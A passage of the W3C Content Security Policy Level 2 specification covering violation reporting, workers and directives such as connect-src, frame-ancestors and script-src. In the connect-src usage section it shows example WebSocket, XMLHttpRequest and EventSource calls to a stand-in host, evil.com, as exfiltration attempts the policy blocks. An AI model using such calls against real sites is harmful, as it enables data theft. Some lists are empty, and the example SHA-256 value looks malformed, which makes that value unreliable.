4.3.2 Matching

A media type matches a media type list if, and only if, the media type is a case-insensitive match for at least one token in the set of media types obtained by parsing the media type list.

4.4 Reporting

To strip uri for reporting, the user agent MUST use an algorithm equivalent to the following:

  1. If the origin of uri is a globally unique identifier (for example, uri has a scheme of data, blob, or filesystem), then abort these steps, and return the ASCII serialization of uri’s scheme.
  2. If the origin of uri is not the same as the origin of the protected resource, then abort these steps, and return the ASCII serialization of uri’s origin.
  3. Return uri, with any fragment component removed.

To generate a violation report object, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object violation with the following keys and values:
    blocked-uri
    The originally requested URI of the resource that was prevented from loading, stripped for reporting, or the empty string if the resource has no URI (inline script and inline style, for example).
    document-uri
    The address of the protected resource, stripped for reporting.
    effective-directive
    The name of the policy directive that was violated. This will contain the directive whose enforcement triggered the violation (e.g. "script-src") even if that directive does not explicitly appear in the policy, but is implicitly activated via the default-src directive.
    original-policy
    The original policy, as received by the user agent.
    referrer
    The referrer attribute of the protected resource, or the empty string if the protected resource has no referrer.
    status-code
    The status-code of the HTTP response that contained the protected resource, if the protected resource was obtained over HTTP. Otherwise, the number 0.
    violated-directive
    The policy directive that was violated, as it appears in the policy. This will contain the default-src directive in the case of violations caused by falling back to the default sources when enforcing a directive.
  2. If a specific line or a specific file can be identified as the cause of the violation (for example, script execution that violates the script-src directive), the user agent MAY add the following keys and values to violation:
    source-file
    The URI of the resource where the violation occurred, stripped for reporting.
    line-number
    The line number in source-file on which the violation occurred.
    column-number
    The column number in source-file on which the violation occurred.
  3. Return violation.

Note: blocked-uri will not contain the final location of a resource that was blocked after one or more redirects. It instead will contain only the location that the protected resource requested, before any redirects were followed.

To send violation reports, the user agent MUST use an algorithm equivalent to the following:

  1. Prepare a JSON object report object with a single key, csp-report, whose value is the result of generating a violation report object.
  2. Let report body be the JSON stringification of report object.
  3. For each report URI in the set of report URIs:
    1. If the user agent has already sent a violation report for the protected resource to report URI, and that report contained an entity body that exactly matches report body, the user agent MAY abort these steps and continue to the next report URI.
    2. Queue a task to fetch report URI from the origin of the protected resource, with the synchronous flag not set, using HTTP method POST, with a Content-Type header field of application/csp-report, and an entity body consisting of report body. If the origin of report URI is not the same as the origin of the protected resource, the block cookies flag MUST also be set. The user agent MUST NOT follow redirects when fetching this resource. (Note: The user agent ignores the fetched resource.) The task source for these tasks is the Content Security Policy task source.

To report a violation, the user agent MUST:

  1. Fire a violation event at the protected resource’s Document.
  2. If the set of report URIs is non-empty, send violation reports to each.

Note: This section of the specification should not be interpreted as limiting user agents' ability to apply restrictions to violation reports in order to limit data leakage above and beyond what these algorithms specify.

5 Processing Model

To enforce a policy, the user agent MUST parse the policy and enforce each of the directives contained in the policy, where the specific requirements for enforcing each directive are defined separately for each directive (See §7 Directives, below).

Generally speaking, enforcing a directive prevents the protected resource from performing certain actions, such as loading scripts from URIs other than those indicated in a source list. These restrictions make it more difficult for an attacker to abuse an injection vulnerability in the resource because the attacker will be unable to usurp the resource’s privileges that have been restricted in this way.

Note: User agents may allow users to modify or bypass policy enforcement through user preferences, bookmarklets, third-party additions to the user agent, and other such mechanisms.

To monitor a policy, the user agent MUST parse the policy and monitor each of the directives contained in the policy.

Monitoring a directive does not prevent the protected resource from undertaking any actions. Instead, any actions that would have been prevented by the directives are allowed, but a violation report is generated and reported to the developer of the web application. Monitoring a policy is useful for testing whether enforcing the policy will cause the web application to malfunction.

A server MAY cause user agents to monitor one policy while enforcing another policy by returning both Content-Security-Policy and Content-Security-Policy-Report-Only header fields. For example, if a server operator may wish to enforce one policy but experiment with a stricter policy, she can monitor the stricter policy while enforcing the original policy. Once the server operator is satisfied that the stricter policy does not break the web application, the server operator can start enforcing the stricter policy.

If the user agent monitors or enforces a policy that does not contain any directives, the user agent SHOULD report a warning message in the developer console.

If the user agent monitors or enforces a policy that contains an unrecognized directive, the user agent SHOULD report a warning message in the developer console indicating the name of the unrecognized directive.

If the user agent monitors or enforces a policy that contains a directive that contains a source list, then the user agent MUST set a CSP Request Header when requesting cross-origin resources, as described in §3.4 The CSP HTTP Request Header.

5.1 Workers

Whenever a user agent runs a worker:

  • If the worker’s script’s origin is a globally unique identifier (for example, the worker’s script’s URL has a scheme of data, blob, or filesystem), then:
    • If the user agent is enforcing a CSP policy for the owner document, the user agent MUST enforce the CSP policy for the worker.
    • If the user agent is monitoring a CSP policy for the owner document, the user agent MUST monitor the CSP policy for the worker.
  • Otherwise:
    • If the worker’s script is delivered with a Content-Security-Policy HTTP header containing the value policy, the user agent MUST enforce policy for the worker.
    • If the worker’s script is delivered with a Content-Security-Policy-Report-Only HTTP header containing the value policy, the user agent MUST monitor policy for the worker.

5.2 srcdoc IFrames

Whenever a user agent creates an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is enforcing any policies for the protected resource, the user agent MUST enforce those policies on the iframe srcdoc document as well.

Whenever a user agent creates an iframe srcdoc document in a browsing context nested in the protected resource, if the user agent is monitoring any policies for the protected resource, the user agent MUST monitor those policies on the iframe srcdoc document as well.

6 Script Interfaces

6.1 SecurityPolicyViolationEvent Interface

[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict)]
interface SecurityPolicyViolationEvent : Event {
    readonly    attribute DOMString documentURI;
    readonly    attribute DOMString referrer;
    readonly    attribute DOMString blockedURI;
    readonly    attribute DOMString violatedDirective;
    readonly    attribute DOMString effectiveDirective;
    readonly    attribute DOMString originalPolicy;
    readonly    attribute DOMString sourceFile;
    readonly    attribute DOMString statusCode;
    readonly    attribute long      lineNumber;
    readonly    attribute long      columnNumber;
};
documentURI
Refer to the document-uri property of violation reports for a description of this property.
referrer
Refer to the referrer property of violation reports for a description of this property.
blockedURI
Refer to the blocked-uri property of violation reports for a description of this property.
violatedDirective
Refer to the violated-directive property of violation reports for a description of this property.
effectiveDirective
Refer to the effective-directive property of violation reports for a description of this property.
originalPolicy
Refer to the original-policy property of violation reports for a description of this property.
statusCode
Refer to the status-code property of violation reports for a description of this property.
sourceFile
Refer to the source-file property of violation reports for a description of this property.
lineNumber
Refer to the line-number property of violation reports for a description of this property.
columnNumber
Refer to the column-number property of violation reports for a description of this property.

6.2 SecurityPolicyViolationEventInit Interface

dictionary SecurityPolicyViolationEventInit : EventInit {
    DOMString documentURI;
    DOMString referrer;
    DOMString blockedURI;
    DOMString violatedDirective;
    DOMString effectiveDirective;
    DOMString originalPolicy;
    DOMString sourceFile;
    long      lineNumber;
    long      columnNumber;
};
documentURI
Refer to the document-uri property of violation reports for a description of this property.
referrer
Refer to the referrer property of violation reports for a description of this property.
blockedURI
Refer to the blocked-uri property of violation reports for a description of this property.
violatedDirective
Refer to the violated-directive property of violation reports for a description of this property.
effectiveDirective
Refer to the effective-directive property of violation reports for a description of this property.
originalPolicy
Refer to the original-policy property of violation reports for a description of this property.
sourceFile
Refer to the source-file property of violation reports for a description of this property.
lineNumber
Refer to the line-number property of violation reports for a description of this property.
columnNumber
Refer to the column-number property of violation reports for a description of this property.

6.3 Firing Violation Events

To fire a violation event, the user agent MUST use an algorithm equivalent to the following:

  1. Let report object be the result of generating a violation report object.
  2. Queue a task to fire an event named securitypolicyviolation using the SecurityPolicyViolationEvent interface with the following initializations:
    • blockedURI MUST be initialized to the value of report object’s blocked-uri key.
    • documentURI MUST be initialized to the value of report object’s document-uri key.
    • effectiveDirective MUST be initialized to the value of report object’s effective-directive key.
    • originalPolicy MUST be initialized to the value of report object’s original-policy key.
    • referrer MUST be initialized to the value of report object’s referrer key.
    • violatedDirective MUST be initialized to the value of report object’s violated-directive key.
    • sourceFile MUST be initialized to the value of report object’s source-file key.
    • lineNumber MUST be initialized to the value of report object’s line-number key.
    • columnNumber MUST be initialized to the value of report object’s column-number key.

The task source for these tasks is the Content Security Policy task source.

7 Directives

This section describes the content security policy directives introduced in this specification. Directive names are case insensitive.

In order to protect against Cross-Site Scripting (XSS), web application authors SHOULD include:

In either case, authors SHOULD NOT include either 'unsafe-inline' or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.

Redirects are another area of potential concern. Authors SHOULD NOT include 'unsafe-redirect' as valid sources in their policies. It makes it more difficult to reason about the complete set of resources that a policy allows, especially given the path behavior outlined in the §4.2.2.3 Paths and Redirects section.

7.1 base-uri

The base-uri directive restricts the URIs that can be used to specify the document base URL. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "base-uri"
directive-value   = source-list

The term allowed base URIs refers to the result of parsing the base-uri directive’s value as a source list.

Step 4 of the algorithm defined in HTML5 to obtain a document’s base URL MUST be changed to:

  1. If the previous step was not successful, or the result of the previous step does not match the allowed base URIs, then the document base URL is fallback base URL. Otherwise, it is the result of the previous step.

7.2 child-src

The child-src directive governs the creation of nested browsing contexts as well as Worker execution contexts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "child-src"
directive-value   = source-list

The term allowed child sources refers to the result of parsing the child-src directive’s value as a source list if a child-src directive is explicitly specified, and otherwise to the default sources.

7.2.1 Nested Browsing Contexts

To enforce the child-src directive the user agent MUST enforce the frame-src directive.

7.2.2 Workers

Whenever the user agent fetches a URL while processing the Worker or SharedWorker constructors [WORKERS], the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation if the URI does not match the allowed child sources.

7.3 connect-src

The connect-src directive restricts which URIs the protected resource can load using script interfaces. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "connect-src"
directive-value   = source-list

The term allowed connection targets refers to the result of parsing the connect-src directive’s value as a source list if the policy contains an explicit connect-src directive, or otherwise to the default sources.

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed connection targets, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

7.3.1 Usage

This section is not normative.

JavaScript offers a few mechanisms that directly connect to an external server to send or receive information. EventSource maintains an open HTTP connection to a server in order to receive push notifications, WebSockets open a bidirectional communication channel between your browser and a server, and XMLHttpRequest makes arbitrary HTTP requests on your behalf. These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration.

The connect-src directive allows you to ensure that these sorts of connections are only opened to origins you trust. Sending a policy that defines a list of source expressions for this directive is straightforward. For example, to limit connections to only example.com, send the following header:

Content-Security-Policy: connect-src example.com

All of the following will fail with the preceding directive in place:

  • new WebSocket("wss://evil.com/");
  • (new XMLHttpRequest()).open("GET", "https://evil.com/", true);
  • new EventSource("https://evil.com");

7.4 default-src

The default-src directive sets a default source list for a number of directives. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "default-src"
directive-value   = source-list

Let the default sources be the result of parsing the default-src directive’s value as a source list if a default-src directive is explicitly specified, and otherwise the U+002A ASTERISK character (*).

To enforce the default-src directive, the user agent MUST enforce the following directives:

If not specified explicitly in the policy, the directives listed above will use the default sources as their source list.

7.4.1 Usage

This section is not normative.

default-src, as the name implies, serves as a default source list which the other source list-style directives will use as a fallback if they’re not otherwise explicitly set. That is, consider the following policy declaration:

Content-Security-Policy: default-src 'self'

Under this policy, fonts, frames, images, media, objects, scripts, and styles will all only load from the same origin as the protected resource, and connections will only be made to the same origin. Adding a more specific declaration to the policy would completely override the default source list for that resource type.

Content-Security-Policy: default-src 'self'; script-src example.com

Under this new policy, fonts, frames, and etc. continue to be load from the same origin, but scripts will only load from example.com. There’s no inheritance; the script-src directive sets the allowed sources of script, and the default list is not used for that resource type.

Given this behavior, one good way of building a policy for a site would be to begin with a default-src of 'none', and to build up a policy from there that contains only those resource types which are actually in use for the page you’d like to protect. If you don’t use webfonts, for instance, there’s no reason to specify a source list for font-src; specifying only those resource types a page uses ensures that the possible attack surface for that page remains as small as possible.

7.5 font-src

The font-src directive restricts from where the protected resource can load fonts. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "font-src"
directive-value   = source-list

The term allowed font sources refers to the result of parsing the font-src directive’s value as a source list if the policy contains an explicit font-src, or otherwise to the default sources.

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed font sources, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for display in a font, such as when processing the <@font-face> Cascading Style Sheets (CSS) rule.

7.6 form-action

The form-action restricts which URIs can be used as the action of HTML form elements. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "form-action"
directive-value   = source-list

The term allowed form actions refers to the result of parsing the form-action directive’s value as a source list.

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed form actions, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

Note: form-action does not fall back to the default sources when the directive is not defined. That is, a policy that defines default-src 'none' but not form-action will still allow form submissions to any target.

7.7 frame-ancestors

The frame-ancestors directive indicates whether the user agent should allow embedding the resource using a frame, iframe, object, embed or applet tag, or equivalent functionality in non-HTML resources. Resources can use this directive to avoid many UI Redressing [UIREDRESS] attacks by avoiding being embedded into potentially hostile contexts.

The syntax for the name and value of the directive are described by the following ABNF grammar:

ancestor-source-list = [ ancestor-source *( 1*WSP ancestor-source ) ] / "'none'"
ancestor-source      = scheme-source / host-source
directive-name  = "frame-ancestors"
directive-value = ancestor-source-list

The term allowed frame ancestors refers to the result of parsing the frame-ancestors directive’s value as a source list. If a frame-ancestors directive is not explicitly included in the policy, then allowed frame ancestors is "*".

To enforce the frame-ancestors directive, whenever the user agent would load the protected resource into a nested browsing context, the user agent MUST perform the following steps:

  1. Let nestedContext be the nested browsing context into which the protected resource is being loaded.
  2. Let ancestorList be the list of all ancestors of nestedContext.
  3. For each ancestorContext in ancestorList:
    1. Let document be ancestorContext’s active document.
    2. If document’s URL does not match the allowed frame ancestors, the user agent MUST:
      1. Abort loading the protected resource.
      2. Act as if it received an empty HTTP 200 response.
      3. Parse a sandboxing directive using the empty string as the input and the newly created document’s forced sandboxing flag set as the output.

Steps 2.2 and 2.3 ensure that the blocked frame appears to be a normal cross-origin document’s load. If these steps are ignored, leakage of a document’s policy state is possible. The user agent MAY implement these steps by instead redirecting the user to friendly error page in a unique origin which provides the option of opening the blocked page in a new top-level browsing context.

The frame-ancestors directive MUST be ignored when monitoring a policy, and when a contained in a policy defined via a meta element.

Note: frame-ancestors does not fall back to the default sources when the directive is not defined. That is, a policy that defines default-src 'none' but not frame-ancestors will still allow the resource to be framed from anywhere.

When generating a violation report for a frame-ancestors violation, the user agent MUST NOT include the value of the embedding ancestor as a blocked-uri value unless it is same-origin with the protected resource, as disclosing the value of cross-origin ancestors is a violation of the Same-Origin Policy.

7.7.1 Relation to X-Frame-Options

This directive is similar to the X-Frame-Options header that several user agents have implemented. The 'none' source expression is roughly equivalent to that header’s DENY, 'self' to SAMEORIGIN, and so on. The major difference is that many user agents implement SAMEORIGIN such that it only matches against the top-level document’s location. This directive checks each ancestor. If any ancestor doesn’t match, the load is cancelled. [RFC7034]

The frame-ancestors directive obsoletes the X-Frame-Options header. If a resource has both policies, the frame-ancestors policy SHOULD be enforced and the X-Frame-Options policy SHOULD be ignored.

7.7.2 Multiple Host Source Values

This section is not normative.

Multiple source-list expressions are allowed in a single policy (in contrast to X-Frame-Options, which allows only one) to enable scenarios involving embedded application components that are multiple levels below the top-level browsing context.

Many common scenarios for permissioned embedding (e.g. embeddable payment, sharing or social apps) involve potentially many hundreds or thousands of valid source-list expressions, but it is strongly recommended against accommodating such scenarios with a static frame-ancestors directive listing multiple values. In such cases it is beneficial to generate this value dynamically, based on an HTTP Referer header or an explicitly passed-in value, to allow only the sources necessary for each given embedding of the resource.

Consider a service providing a payments application at https://payments/makeEmbedded. The service allows this resource to be embedded by both merchant Alice and merchant Bob, who compete with each other. Sending:

Content-Security-Policy: frame-ancestors https://alice https://bob

would allow Bob to re-frame Alice’s resource and create fraudulent clicks, perhaps discrediting Alice with her customers or the payments service. If the payments service used additional information (e.g. as part of a URL like https://payments/makeEmbedded?merchant=alice) to send individually-tailored headers listing only the source-list expressions needed by each merchant, this attack would be eliminated.

7.8 frame-src

The frame-src directive is deprecated. Authors who wish to govern nested browsing contexts SHOULD use the child-src directive instead.

The frame-src directive restricts from where the protected resource can embed frames. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "frame-src"
directive-value   = source-list

The term allowed frame sources refers to the result of parsing the frame-src directive’s value as a source list if the policy contains an explicit frame-src, or otherwise to the list of allowed child sources.

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed frame sources, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

7.9 img-src

The img-src directive restricts from where the protected resource can load images. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "img-src"
directive-value   = source-list

The term allowed image sources refers to the result of parsing the img-src directive’s value as a source list if the policy contains an explicit img-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed image sources, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for an image, such as when processing the src or srcset attributes of an img element, the src attribute of an input element with a type of image, the poster attribute of a video element, the url(), <image()> or <image-set()> values on any Cascading Style Sheets (CSS) property that is capable of loading an image [CSS4-IMAGES], or the href attribute of a link element with an image-related rel attribute, such as icon.

7.10 media-src

The media-src directive restricts from where the protected resource can load video, audio, and associated text tracks. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "media-src"
directive-value   = source-list

The term allowed media sources refers to the result of parsing the media-src directive’s value as a source list if the policy contains an explicit media-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed media sources, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting data for a video or audio clip, such as when processing the src attribute of a video, audio, source, or track elements.

7.11 object-src

The object-src directive restricts from where the protected resource can load plugins. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "object-src"
directive-value   = source-list

The term allowed object sources refers to the result of parsing the object-src directive’s value as a source list if the policy contains an explicit object-src, or otherwise to the list of default sources.

Whenever the user agent fetches a URI in the course of one of the following activities, if the URI does not match the allowed object sources, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

It is not required that the consumer of the element’s data be a plugin in order for the object-src directive to be enforced. Data for any object, embed, or applet element MUST match the allowed object sources in order to be fetched. This is true even when the element data is semantically equivalent to content which would otherwise be restricted by one of the other directives, such as an object element with a text/html MIME type.

Whenever the user agent would load a plugin without an associated URI (e.g., because the object element lacked a data attribute), if the protected resource’s URI does not match the allowed object sources, the user agent MUST NOT load the plugin.

7.12 plugin-types

The plugin-types directive restricts the set of plugins that can be invoked by the protected resource by limiting the types of resources that can be embedded. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "plugin-types"
directive-value   = media-type-list

The term allowed plugin media types refers to the result of parsing the plugin-types directive’s value as a media type list.

Whenever the user agent would instantiate a plugin to handle resource while enforcing the plugin-types directive, the user agent MUST instead act as though the plugin reported an error and report a violation if any of the following conditions hold:

  • The plugin is embedded into the protected resource via an object or embed element that does not explicitly declare a MIME type via a type attribute.
  • resource’s media type does not match the list of allowed plugin media types.
  • The plugin is embedded into the protected resource via an object or embed element, and the media type declared in the element’s type attribute is not a case-insensitive match for the resource’s media type.
  • The plugin is embedded into the protected resource via an applet element, and resource’s media type is not a case-insensitive match for application/x-java-applet.

Note: In any of these cases, acting as though the plugin reported an error will cause the user agent to display the fallback content.

Whenever the user agent creates a plugin document in a nested browsing context in the protected resource, if the user agent is enforcing any plugin-types directives for the protected resource, the user agent MUST enforce those plugin-types directives on the plugin document as well.

Whenever the user agent creates a plugin document in a nested browsing context in the protected resource, if the user agent is monitoring any plugin-types directives for the protected resource, the user agent MUST monitor those plugin-types directives on the plugin document as well.

7.12.1 Usage

This section is not normative.

The plugin-types directive whitelists a certain set of MIME types that can be embedded in a protected resource. For example, a site might want to ensure that PDF content loads, but that no other plugins can be instantiated. The following directive would satisfy that requirement:

Content-Security-Policy: plugin-types application/pdf

Resources embedded via an embed or object element delivered with an application/pdf content type would be rendered in the appropriate plugin; resources delivered with some other content type would be blocked. Multiple types can be specified, in any order. If the site decided to additionally allow Flash at some point in the future, it could do so with the following directive:

Content-Security-Policy: plugin-types application/pdf application/x-shockwave-flash

Note: Wildcards are not accepted in the plugin-types directive. Only the resource types explicitly listed in the directive will be allowed.

7.12.2 Predeclaration of expected media types

This section is not normative.

Enforcing the plugin-types directive requires that object and embed elements declare the expected media type of the resource they include via the type attribute. If an author expects to load a PDF, she could specify this as follows:

<object data="resource" type="application/pdf"></object>

If resource isn’t actually a PDF file, it won’t load. This prevents certain types of attacks that rely on serving content that unexpectedly invokes a plugin other than that which the author intended.

Note: resource will not load in this scenario even if its media type is otherwise whitelisted: resources will only load when their media type is whitelisted and matches the declared type in their containing element.

7.13 referrer

The referrer directive specifies the referrer policy [REFERRER] that the user agent applies when determining what referrer information should be included with requests made, and with browsing contexts created from the context of the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "referrer"
directive-value   = "no-referrer" / "no-referrer-when-downgrade" / "origin" / "origin-when-cross-origin" / "unsafe-url"

Note: The directive name does not share the HTTP header’s misspelling.

When enforcing the referrer directive, the user agent MUST execute [REFERRER]'s Set environment’s referrer policy to policy. algorithm on the protected resource’s JavaScript global environment using the result of executing the Determine token’s Policy algorithm on the referrer directive’s value.

7.13.1 Usage

This section is not normative.

A protected resource can prevent referrer leakage by specifying no-referrer as the value of its policy’s referrer directive:

Content-Security-Policy: referrer no-referrer;

This will cause all requests made from the protected resource’s context to have an empty Referer [sic] header.

7.14 reflected-xss

The reflected-xss directive instructs a user agent to activate or deactivate any heuristics used to filter or block reflected cross-site scripting attacks. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "reflected-xss"
directive-value   = "allow" / "block" / "filter"

A user agent with support for XSS protection MUST enforce this directive as follows:

  • If the value of the directive is allow, the user agent MUST disable its active protections against reflected cross-site scripting attacks for the protected resource.
  • If the value of the directive is filter, the user agent MUST enable its active protections against reflected cross-site scripting attacks for the protected resource. This might result in filtering script that is believed to be reflected being filtered or selectively blocking script execution.
  • If the value of the directive is block, the user agent MUST stop rendering the protected resource upon detection of reflected script, and instead act as if there was a fatal network error and no resource was obtained, and report a violation:

If the user agent’s active protections against reflected cross-site scripting attacks detect or prevent script execution, the user agent MUST report a violation.

Note: The reflected-xss directive will be ignored if contained within a meta element.

7.14.1 Relationship to X-XSS-Protection

This directive is meant to subsume the functionality provided by the proprietary X-XSS-Protection HTTP header which is supported by a number of user agents. Roughly speaking:

  • reflected-xss allow is equivalent to X-XSS-Protection: 0
  • reflected-xss filter is equivalent to X-XSS-Protection: 1
  • reflected-xss block is equivalent to X-XSS-Protection: 1; mode=block

7.15 report-uri

The report-uri directive specifies a URI to which the user agent sends reports about policy violation. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "report-uri"
directive-value   = uri-reference *( 1*WSP uri-reference )
uri-reference     = <URI-reference from RFC 3986>

The set of report URIs is the value of the report-uri directive, each resolved relative to the protected resource’s URI.

The process of sending violation reports to the URIs specified in this directive’s value is defined in this document’s §4.4 Reporting section.

Note: The report-uri directive will be ignored if contained within a meta element.

7.16 sandbox

The sandbox directive specifies an HTML sandbox policy that the user agent applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "sandbox"
directive-value   = "" / sandbox-token *( 1*WSP sandbox-token )
sandbox-token     = <token from RFC 7230>

When enforcing the sandbox directive, the user agent MUST parse a sandboxing directive using the directive-value as the input and protected resource’s forced sandboxing flag set as the output. [HTML5]

Note: The sandbox directive will be ignored when monitoring a policy, and when contained in a policy defined via a meta element.

7.16.1 Usage

This section is not normative.

HTML5 defines a sandbox attribute for iframe elements, intended to allow web authors to reduce the risk of including potentially untrusted content by imposing restrictions on that content’s abilities. When the attribute is set, the content is forced into a unique origin, prevented from submitting forms, running script, creating or navigating other browsing contexts, and prevented from running plugins. These restrictions can be loosened by setting certain flags as the attribute’s value.

The sandbox directive allows any resource, framed or not, to ask for the same sorts of restrictions to be applied to itself.

For example, a message board or email system might provide downloads of arbitrary attachments provided by other users. Attacks that rely on tricking a client into rendering one of these attachments could be mitigated by requesting that resources only be rendered in a very restrictive sandbox. Sending the sandbox directive with an empty value establishes such an environment:

Content-Security-Policy: sandbox

More trusted resources might be allowed to run in an environment with fewer restrictions by adding allow-* flags to the directive’s value. For example, you can allow a page that you trust to run script, while ensuring that it isn’t treated as same-origin with the rest of your site. This can be accomplished by sending the sandbox directive with the allow-scripts flag:

Content-Security-Policy: sandbox allow-scripts

The set of flags available to the CSP directive should match those available to the iframe attribute. Currently, those include:

Note: Like the rest of Content Security Policy, the sandbox directive is meant as a defense-in-depth. Web authors would be well-served to use it in addition to standard sniffing-mitigation and privilege-reduction techniques.

7.17 script-src

The script-src directive restricts which scripts the protected resource can execute. The directive also controls other resources, such as XSLT style sheets [XSLT], which can cause the user agent to execute script. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "script-src"
directive-value   = source-list

The term allowed script sources refers to the result of parsing the script-src directive’s value as a source list if the policy contains an explicit script-src, or otherwise to the default sources.

If 'unsafe-inline' is not in the list of allowed script sources, or if at least one nonce-source or hash-source is present in the list of allowed script sources:

  • Whenever the user agent would execute an inline script from a script element that lacks a valid nonce and lacks a valid hash for the allowed script sources, instead the user agent MUST NOT execute script, and MUST report a violation.
  • Whenever the user agent would execute an inline script from an inline event handler, instead the user agent MUST NOT execute script, and MUST report a violation.
  • Whenever the user agent would execute script contained in a javascript URI, instead the user agent MUST NOT execute the script, and MUST report a violation.

If 'unsafe-eval' is not in allowed script sources:

  • Instead of evaluating their arguments, both operator eval and function eval [ECMA-262] MUST throw an EvalError exception.
  • When called as a constructor, the function Function [ECMA-262] MUST throw an EvalError exception.
  • When called with a first argument that is not callable (a string, for example), the setTimeout() function MUST return zero without creating a timer.
  • When called with a first argument that is not callable (a string, for example), the setInterval() function MUST return zero without creating a timer.

Whenever the user agent fetches a URI (including when following redirects) in the course of one of the following activities, if the URI does not match the allowed script sources, the user agent MUST act as if there was a fatal network error and no resource was obtained, and report a violation:

  • Requesting a script while processing the src attribute of a script element that lacks a valid nonce for the allowed script sources.
  • Requesting a script while invoking the importScripts method on a WorkerGlobalScope object. [WORKERS]
  • Requesting an HTML component, such as when processing the href attribute of a link element with a rel attribute containing the token import. [HTML-IMPORTS]
  • Requesting an Extensible Stylesheet Language Transformations (XSLT) [XSLT], such as when processing the <?xml-stylesheet?> processing directive in an XML document [XML11], the href attributes on <xsl:include> and <xsl:import> elements.

7.17.1 Nonce usage for script elements

This section is not normative.

The script-src directive lets developers specify exactly which script elements on a page were intentionally included for execution. Ideally, developers would avoid inline script entirely and whitelist scripts by URL. However, in some cases, removing inline scripts can be difficult or impossible. For those cases, developers can whitelist scripts using a randomly generated nonce.

Usage is straightforward. For each request, the server generates a unique value at random, and includes it in the Content-Security-Policy header:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'nonce-$RANDOM'

This same value is then applied as a nonce attribute to each script element that ought to be executed. For example, if the server generated the random value Nc3n83cnSAd3wc3Sasdfn939hc3, the server would send the following policy:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'nonce-Nc3n83cnSAd3wc3Sasdfn939hc3'

Script elements can then execute either because their src URLs are whitelisted or because they have a valid nonce:

<script>
alert("Blocked because the policy doesn’t have 'unsafe-inline'.")
</script>
<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa">
alert("Still blocked because nonce is wrong.")
</script>
<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3">
alert("Allowed because nonce is valid.")
</script>
<script src="https://example.com/allowed-because-of-src.js"></script>
<script nonce="EDNnf03nceIOfn39fn3e9h3sdfa"
    src="https://elsewhere.com/blocked-because-nonce-is-wrong.js"></script>
<script nonce="Nc3n83cnSAd3wc3Sasdfn939hc3"
    src="https://elsewhere.com/allowed-because-nonce-is-valid.js"></script>

Note that the nonce’s value is not a hash or signature that verifies the contents of the script resources. It’s quite simply a random string that informs the user agent which scripts were intentionally included in the page.

Script elements with the proper nonce execute, regardless of whether they’re inline or external. Script elements without the proper nonce don’t execute unless their URLs are whitelisted. Even if an attacker is able to inject markup into the protected resource, the attack will be blocked by the attacker’s inability to guess the random value.

7.17.2 Hash usage for script elements

This section is not normative.

The script-src directive lets developers whitelist a particular inline script by specifying its hash as an allowed source of script.

Usage is straightforward. The server computes the hash of a particular script block’s contents, and includes the base64 encoding of that value in the Content-Security-Policy header:

Content-Security-Policy: default-src 'self';
                         script-src 'self' https://example.com 'sha256-base64 encoded hash'

Each inline script block’s contents are hashed, and compared against the whitelisted value. If there’s a match, the script is executed. For example, the SHA-256 digest of alert('Hello, world.'); is YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo=. If the server sent the following header:

Content-Security-Policy: script-src 'sha256-YWIzOWNiNzJjNDRlYzc4MTgwMDhmZDlkOWI0NTAyMjgyY2MyMWJlMWUyNjc1ODJlYWJhNjU5MGU4NmZmNGU3OAo='

Then the following script tag would result in script execution:

<script>alert('Hello, world.');</script>

Whitespace is significant. The following scripts blocks would not hash to the same value, and would therefore not execute:

<script> alert('Hello, world.');</script>
<script>alert('Hello, world.'); </script>
<script> alert('Hello, world.'); </script>
<script>
alert('Hello, world.');
</script>

Note also that the hash applies only to inline script. An externalized script containing the value alert('Hello, world.'); would not execute if its origin was not whitelisted as a valid source of script.

7.18 style-src

The style-src directive restricts which styles the user may applies to the protected resource. The syntax for the name and value of the directive are described by the following ABNF grammar:

directive-name    = "style-src"
directive-value   = source-list

The term allowed style sources refers to the result of parsing the style-src directive’s value as a source list if the policy contains an explicit style-src, or otherwise to the default sources.

